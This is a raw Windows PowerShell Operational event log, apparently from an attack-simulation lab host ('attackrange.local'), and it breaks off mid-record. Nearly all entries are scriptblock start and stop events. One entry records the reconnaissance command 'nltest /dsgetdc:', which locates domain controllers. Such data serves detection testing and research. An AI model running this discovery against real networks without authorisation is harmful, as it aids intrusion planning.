RecordNumber=1988968 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988967 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988966 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988965 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988964 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988963 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988962 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988961 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988960 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988959 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:11 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989003 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:11 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989002 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:11 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989001 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:11 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989000 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:11 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988999 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:11 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988998 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:11 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988997 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:11 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988996 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:11 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988995 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:11 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988994 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989013 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989012 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989011 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989010 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989009 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989008 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989007 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989006 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989005 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:17 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989004 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989023 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989022 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989021 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989020 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989019 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989018 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989017 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989016 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989015 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:22 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989014 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989051 Keywords=None Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989050 Keywords=None Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989049 Keywords=None Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989048 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989047 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989046 Keywords=None Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989045 Keywords=None Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989044 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989043 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989042 Keywords=None Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989041 Keywords=None Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989040 Keywords=None Message=Completed invocation of ScriptBlock ID: 64cea34a-0e75-4c16-9036-6d31e6f44cf8 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989039 Keywords=None Message=Started invocation of ScriptBlock ID: 64cea34a-0e75-4c16-9036-6d31e6f44cf8 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989038 Keywords=None Message=Creating Scriptblock text (1 of 1): nltest /dsgetdc: ScriptBlock ID: 64cea34a-0e75-4c16-9036-6d31e6f44cf8 Path: 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989037 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989036 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local 